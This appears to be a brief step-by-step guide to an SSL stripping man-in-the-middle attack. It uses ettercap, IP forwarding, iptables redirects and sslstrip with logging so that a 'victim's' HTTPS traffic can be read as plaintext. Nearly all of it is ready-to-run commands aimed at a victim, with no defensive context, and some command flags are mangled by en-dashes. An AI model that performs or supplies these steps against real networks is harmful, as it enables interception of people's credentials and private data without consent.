SSL STRIP

This guide will help you to perform the SSL strip against https websites so that we can read the data as plaintext.

For this purpose, we need to install sslstrip tool.

Steps:

1. Install sslstrip
    a. $sudo apt install sslstrip
2. Start a MITM between victim and router with ettercap
3. Enabling ip forward
    a. $sudo su
    b. $echo 1 > /proc/sys/net/ipv4/ip_forward
4. Configure ipforward rules
    a. $sudo su
    b. $iptables –t nat –A PREROUTING –p tcp –dport 80 –j REDIRECT –to-ports 10000
    c. $iptables –t nat –A PREROUTING –p tcp –dport 443 –j REDIRECT –toports 10000
5. Starting sslstrip on port 10000 and store log
    a. $sudo sslstrip –a –f –l 10000 –w log.txt
    b. Optionally we can add also option –p for log only post request
6. On victim side go on a website with https (like www.mat.unical.it)